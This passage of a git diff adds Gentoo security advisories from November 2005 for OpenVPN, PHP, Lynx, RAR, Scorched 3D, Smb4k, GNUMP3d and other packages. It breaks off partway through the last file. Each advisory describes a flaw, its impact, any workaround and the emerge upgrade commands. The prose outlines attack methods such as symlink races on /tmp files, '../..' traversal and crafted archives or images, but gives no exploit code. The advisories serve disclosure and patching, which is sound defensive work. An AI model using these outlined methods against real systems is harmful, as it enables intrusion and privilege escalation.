+  <metadata tag="submitter" timestamp="Fri, 04 Nov 2005 12:31:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Nov 2005 12:31:54 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-07.xml b/xml/htdocs/security/en/glsa/glsa-200511-07.xml
new file mode 100644
index 00000000..976012a9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-07.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-07">
+  <title>OpenVPN: Multiple vulnerabilities</title>
+  <synopsis>
+    The OpenVPN client is potentially vulnerable to the execution of arbitrary
+    code and the OpenVPN server is vulnerable to a Denial of Service issue.
+  </synopsis>
+  <product type="ebuild">OpenVPN</product>
+  <announced>November 06, 2005</announced>
+  <revised>November 06, 2005: 01</revised>
+  <bug>111116</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/openvpn" auto="yes" arch="*">
+      <unaffected range="ge">2.0.4</unaffected>
+      <vulnerable range="lt">2.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenVPN is a multi-platform, full-featured SSL VPN solution.
+    </p>
+  </background>
+  <description>
+    <p>
+    The OpenVPN client contains a format string bug in the handling of
+    the foreign_option in options.c. Furthermore, when the OpenVPN server
+    runs in TCP mode, it may dereference a NULL pointer under specific
+    error conditions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could setup a malicious OpenVPN server and trick
+    the user into connecting to it, potentially executing arbitrary code on
+    the client's computer. A remote attacker could also exploit the NULL
+    dereference issue by sending specific packets to an OpenVPN server
+    running in TCP mode, resulting in a Denial of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not use "pull" or "client" options in the OpenVPN client
+    configuration file, and use UDP mode for the OpenVPN server.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenVPN users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openvpn-2.0.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3393">CVE-2005-3393</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3409">CVE-2005-3409</uri>
+    <uri link="http://openvpn.net/changelog.html">OpenVPN changelog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 02 Nov 2005 12:34:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 04 Nov 2005 13:01:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 Nov 2005 14:23:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-08.xml b/xml/htdocs/security/en/glsa/glsa-200511-08.xml
new file mode 100644
index 00000000..96194884
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-08.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-08">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    PHP suffers from multiple issues, resulting in security functions bypass,
+    local Denial of service, cross-site scripting or PHP variables overwrite.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>November 13, 2005</announced>
+  <revised>November 13, 2005: 01</revised>
+  <bug>107602</bug>
+  <bug>111032</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="rge">4.3.11-r4</unaffected>
+      <unaffected range="ge">4.4.0-r4</unaffected>
+      <vulnerable range="lt">4.4.0-r4</vulnerable>
+    </package>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="rge">4.3.11-r4</unaffected>
+      <unaffected range="ge">4.4.0-r8</unaffected>
+      <vulnerable range="lt">4.4.0-r8</vulnerable>
+    </package>
+    <package name="dev-php/php-cgi" auto="yes" arch="*">
+      <unaffected range="rge">4.3.11-r5</unaffected>
+      <unaffected range="ge">4.4.0-r5</unaffected>
+      <vulnerable range="lt">4.4.0-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the
+    mod_php module or the CGI version and also stand-alone in a CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found and fixed in PHP:
+    </p>
+    <ul>
+    <li>a possible $GLOBALS variable overwrite problem through file
+    upload handling, extract() and import_request_variables()
+    (CVE-2005-3390)</li>
+    <li>a local Denial of Service through the use of
+    the session.save_path option (CVE-2005-3319)</li>
+    <li>an issue with
+    trailing slashes in allowed basedirs (CVE-2005-3054)</li>
+    <li>an issue
+    with calling virtual() on Apache 2, allowing to bypass safe_mode and
+    open_basedir restrictions (CVE-2005-3392)</li>
+    <li>a problem when a
+    request was terminated due to memory_limit constraints during certain
+    parse_str() calls (CVE-2005-3389)</li>
+    <li>The curl and gd modules
+    allowed to bypass the safe mode open_basedir restrictions
+    (CVE-2005-3391)</li>
+    <li>a cross-site scripting (XSS) vulnerability in
+    phpinfo() (CVE-2005-3388)</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    Attackers could leverage these issues to exploit applications that
+    are assumed to be secure through the use of proper register_globals,
+    safe_mode or open_basedir parameters. Remote attackers could also
+    conduct cross-site scripting attacks if a page calling phpinfo() was
+    available. Finally, a local attacker could cause a local Denial of
+    Service using malicious session.save_path options.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround that would solve all issues at this
+    time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-php/php</code>
+    <p>
+    All mod_php users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-php/mod_php</code>
+    <p>
+    All php-cgi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-php/php-cgi</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3054">CVE-2005-3054</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3319">CVE-2005-3319</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3388">CVE-2005-3388</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3389">CVE-2005-3389</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3390">CVE-2005-3390</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3391">CVE-2005-3391</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3392">CVE-2005-3392</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 07 Nov 2005 14:11:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 Nov 2005 14:44:31 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-09.xml b/xml/htdocs/security/en/glsa/glsa-200511-09.xml
new file mode 100644
index 00000000..27771d68
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-09.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-09">
+  <title>Lynx: Arbitrary command execution</title>
+  <synopsis>
+    Lynx is vulnerable to an issue which allows the remote execution of
+    arbitrary commands.
+  </synopsis>
+  <product type="ebuild">lynx</product>
+  <announced>November 13, 2005</announced>
+  <revised>November 13, 2005: 01</revised>
+  <bug>112213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/lynx" auto="yes" arch="*">
+      <unaffected range="ge">2.8.5-r2</unaffected>
+      <vulnerable range="lt">2.8.5-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lynx is a fully-featured WWW client for users running
+    cursor-addressable, character-cell display devices such as vt100
+    terminals and terminal emulators.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDefense labs discovered a problem within the feature to execute
+    local cgi-bin programs via the "lynxcgi:" URI handler. Due to a
+    configuration error, the default settings allow websites to specify
+    commands to run as the user running Lynx.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can entice a user to access a malicious HTTP
+    server, causing Lynx to execute arbitrary commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable "lynxcgi" links by specifying the following directive in
+    lynx.cfg:
+    </p>
+    <code>
+    TRUSTED_LYNXCGI:none</code>
+  </workaround>
+  <resolution>
+    <p>
+    All Lynx users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/lynx-2.8.5-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2929">CVE-2005-2929</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=338&amp;type=vulnerabilities">iDefense Security Advisory 11.11.05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 Nov 2005 20:17:54 +0000">
+    taviso
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 Nov 2005 21:30:52 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 13 Nov 2005 17:03:02 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-10.xml b/xml/htdocs/security/en/glsa/glsa-200511-10.xml
new file mode 100644
index 00000000..1fe25982
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-10.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-10">
+  <title>RAR: Format string and buffer overflow vulnerabilities</title>
+  <synopsis>
+    RAR contains a format string error and a buffer overflow vulnerability that
+    may be used to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">rar</product>
+  <announced>November 13, 2005</announced>
+  <revised>November 13, 2005: 01</revised>
+  <bug>111926</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/rar" auto="yes" arch="*">
+      <unaffected range="ge">3.5.1</unaffected>
+      <vulnerable range="lt">3.5.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RAR is a powerful archive manager that can decompress RAR, ZIP and
+    other files, and can create new archives in RAR and ZIP file format.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tan Chew Keong reported about two vulnerabilities found in RAR:
+    </p>
+    <ul>
+    <li>A format string error exists when displaying a diagnostic
+    error message that informs the user of an invalid filename in an
+    UUE/XXE encoded file.</li>
+    <li>Some boundary errors in the processing
+    of malicious ACE archives can be exploited to cause a buffer
+    overflow.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by enticing
+    a user to:
+    </p>
+    <ul><li>decode a specially crafted UUE/XXE file,
+    or</li>
+    <li>extract a malicious ACE archive containing a file with an
+    overly long filename.</li>
+    </ul>
+    <p>
+    When the user performs these
+    actions, the arbitrary code of the attacker's choice will be executed.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RAR users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/rar-3.5.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.rarlabs.com/rarnew.htm">RAR Release Notes</uri>
+    <uri link="http://secunia.com/secunia_research/2005-53/advisory/">Secunia Research 11/10/2005</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 Nov 2005 09:12:31 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 Nov 2005 14:35:09 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 Nov 2005 14:35:22 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-11.xml b/xml/htdocs/security/en/glsa/glsa-200511-11.xml
new file mode 100644
index 00000000..54116ace
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-11.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-11">
+  <title>linux-ftpd-ssl: Remote buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been found, allowing a remote attacker
+    to execute arbitrary code with escalated privileges on the local system.
+  </synopsis>
+  <product type="ebuild">linux-ftpd-ssl</product>
+  <announced>November 13, 2005</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>111573</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/netkit-ftpd" auto="yes" arch="*">
+      <unaffected range="ge">0.17-r3</unaffected>
+      <vulnerable range="lt">0.17-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    linux-ftpd-ssl is the netkit FTP server with encryption support.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow vulnerability has been found in the
+    linux-ftpd-ssl package. A command that generates an excessively long
+    response from the server may overrun a stack buffer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker that has permission to create directories that are
+    accessible via the FTP server could exploit this vulnerability.
+    Successful exploitation would execute arbitrary code on the local
+    machine with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ftpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/netkit-ftpd-0.17-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3524">CVE-2005-3524</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Nov 2005 18:51:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 06 Nov 2005 21:31:18 +0000">
+    shellsage
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Nov 2005 21:51:01 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-12.xml b/xml/htdocs/security/en/glsa/glsa-200511-12.xml
new file mode 100644
index 00000000..6dbbab1d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-12">
+  <title>Scorched 3D: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Scorched 3D allow a remote attacker to deny
+    service or execute arbitrary code on game servers.
+  </synopsis>
+  <product type="ebuild">scorched3d</product>
+  <announced>November 15, 2005</announced>
+  <revised>August 10, 2006: 03</revised>
+  <bug>111421</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-strategy/scorched3d" auto="yes" arch="*">
+      <unaffected range="ge">40</unaffected>
+      <vulnerable range="le">39.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Scorched 3D is a clone of the classic "Scorched Earth" DOS game, adding
+    features like a 3D island environment and Internet multiplayer
+    capabilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma discovered multiple flaws in the Scorched 3D game
+    server, including a format string vulnerability and several buffer
+    overflows.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can exploit these vulnerabilities to crash a game
+    server or execute arbitrary code with the rights of the game server
+    user. Users not running a Scorched 3D game server are not affected by
+    these flaws.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Scorched 3D users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-strategy/scorched3d-40&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://seclists.org/lists/fulldisclosure/2005/Nov/0079.html">Original advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3486">CVE-2005-3486</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3487">CVE-2005-3487</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3488">CVE-2005-3488</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 14 Nov 2005 13:02:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 14 Nov 2005 13:04:09 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-13.xml b/xml/htdocs/security/en/glsa/glsa-200511-13.xml
new file mode 100644
index 00000000..076174f1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-13.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-13">
+  <title>Sylpheed, Sylpheed-Claws: Buffer overflow in LDIF importer</title>
+  <synopsis>
+    Sylpheed and Sylpheed-Claws contain a buffer overflow vulnerability which
+    may lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">sylpheed sylpheed-claws</product>
+  <announced>November 15, 2005</announced>
+  <revised>November 15, 2005: 01</revised>
+  <bug>111853</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/sylpheed" auto="yes" arch="*">
+      <unaffected range="ge">2.0.4</unaffected>
+      <vulnerable range="lt">2.0.4</vulnerable>
+    </package>
+    <package name="mail-client/sylpheed-claws" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5-r1</unaffected>
+      <vulnerable range="lt">1.0.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sylpheed is a lightweight email client and newsreader.
+    Sylpheed-Claws is a 'bleeding edge' version of Sylpheed. They both
+    support the import of address books in LDIF (Lightweight Directory
+    Interchange Format).
+    </p>
+  </background>
+  <description>
+    <p>
+    Colin Leroy reported buffer overflow vulnerabilities in Sylpheed
+    and Sylpheed-Claws. The LDIF importer uses a fixed length buffer to
+    store data of variable length. Two similar problems exist also in the
+    Mutt and Pine addressbook importers of Sylpheed-Claws.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By convincing a user to import a specially-crafted LDIF file into
+    the address book, a remote attacker could cause the program to crash,
+    potentially allowing the execution of arbitrary code with the
+    privileges of the user running the software.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sylpheed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-2.0.4&quot;</code>
+    <p>
+    All Sylpheed-Claws users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-claws-1.0.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3354">CVE-2005-3354</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 13 Nov 2005 17:42:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 13 Nov 2005 18:10:25 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Nov 2005 08:35:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-14.xml b/xml/htdocs/security/en/glsa/glsa-200511-14.xml
new file mode 100644
index 00000000..574a7658
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-14.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-14">
+  <title>GTK+ 2, GdkPixbuf: Multiple XPM decoding vulnerabilities</title>
+  <synopsis>
+    The GdkPixbuf library, that is also included in GTK+ 2, contains
+    vulnerabilities that could lead to a Denial of Service or the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">gtk+</product>
+  <announced>November 16, 2005</announced>
+  <revised>November 16, 2005: 01</revised>
+  <bug>112608</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/gtk+" auto="yes" arch="*">
+      <unaffected range="ge">2.8.6-r1</unaffected>
+      <unaffected range="rge">2.6.10-r1</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.8.6-r1</vulnerable>
+    </package>
+    <package name="media-libs/gdk-pixbuf" auto="yes" arch="*">
+      <unaffected range="ge">0.22.0-r5</unaffected>
+      <vulnerable range="lt">0.22.0-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GTK+ (the GIMP Toolkit) is a toolkit for creating graphical user
+    interfaces. The GdkPixbuf library provides facilities for image
+    handling. It is available as a standalone library and also packaged
+    with GTK+ 2.
+    </p>
+  </background>
+  <description>
+    <p>
+    iDEFENSE reported a possible heap overflow in the XPM loader
+    (CVE-2005-3186). Upon further inspection, Ludwig Nussel discovered two
+    additional issues in the XPM processing functions : an integer overflow
+    (CVE-2005-2976) that affects only gdk-pixbuf, and an infinite loop
+    (CVE-2005-2975).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Using a specially crafted XPM image an attacker could cause an
+    affected application to enter an infinite loop or trigger the
+    overflows, potentially allowing the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GTK+ 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose x11-libs/gtk+</code>
+    <p>
+    All GdkPixbuf users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/gdk-pixbuf-0.22.0-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2975">CVE-2005-2975</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2976">CVE-2005-2976</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3186">CVE-2005-3186</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=339&amp;type=vulnerabilities">iDefense Security Advisory 11.15.05</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 14 Nov 2005 14:55:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 16 Nov 2005 12:54:54 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-15.xml b/xml/htdocs/security/en/glsa/glsa-200511-15.xml
new file mode 100644
index 00000000..177260e7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-15.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-15">
+  <title>Smb4k: Local unauthorized file access</title>
+  <synopsis>
+    A vulnerability has been identified that allows unauthorized access to the
+    contents of /etc/sudoers and /etc/super.tab files.
+  </synopsis>
+  <product type="ebuild">Smb4k</product>
+  <announced>November 18, 2005</announced>
+  <revised>November 18, 2005: 01</revised>
+  <bug>111089</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/smb4k" auto="yes" arch="*">
+      <unaffected range="ge">0.6.4</unaffected>
+      <vulnerable range="lt">0.6.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Smb4K is a SMB/CIFS share browser for KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability leading to unauthorized file access has been
+    found. A pre-existing symlink from /tmp/sudoers and /tmp/super.tab to a
+    textfile will cause Smb4k to write the contents of these files to the
+    target of the symlink, as Smb4k does not check for the existence of
+    these files before writing to them.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could acquire local privilege escalation by adding
+    username(s) to the list of sudoers.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All smb4k users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/smb4k-0.6.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2851">CVE-2005-2851</uri>
+    <uri link="http://smb4k.berlios.de/">Smb4k Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Nov 2005 09:03:00 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Nov 2005 09:04:04 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 16 Nov 2005 02:48:46 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-16.xml b/xml/htdocs/security/en/glsa/glsa-200511-16.xml
new file mode 100644
index 00000000..6bb85b2e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-16.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-16">
+  <title>GNUMP3d: Directory traversal and insecure temporary file creation</title>
+  <synopsis>
+    Two vulnerabilities have been identified in GNUMP3d allowing for limited
+    directory traversal and insecure temporary file creation.
+  </synopsis>
+  <product type="ebuild">GNUMP3d</product>
+  <announced>November 21, 2005</announced>
+  <revised>August 21, 2007: 02</revised>
+  <bug>111990</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/gnump3d" auto="yes" arch="*">
+      <unaffected range="ge">2.9_pre7</unaffected>
+      <vulnerable range="lt">2.9_pre7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNUMP3d is a streaming server for MP3s, OGG vorbis files, movies and
+    other media formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ludwig Nussel from SUSE Linux has identified two vulnerabilities in
+    GNUMP3d. GNUMP3d fails to properly check for the existence of
+    /tmp/index.lok before writing to the file, allowing for local
+    unauthorized access to files owned by the user running GNUMP3d. GNUMP3d
+    also fails to properly validate the "theme" GET variable from CGI
+    input, allowing for unauthorized file inclusion.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could overwrite files owned by the user running GNUMP3d by
+    symlinking /tmp/index.lok to the file targeted for overwrite. An
+    attacker could also include arbitrary files by traversing up the
+    directory tree (at most two times, i.e. "../..") with the "theme" GET
+    variable.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNUMP3d users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
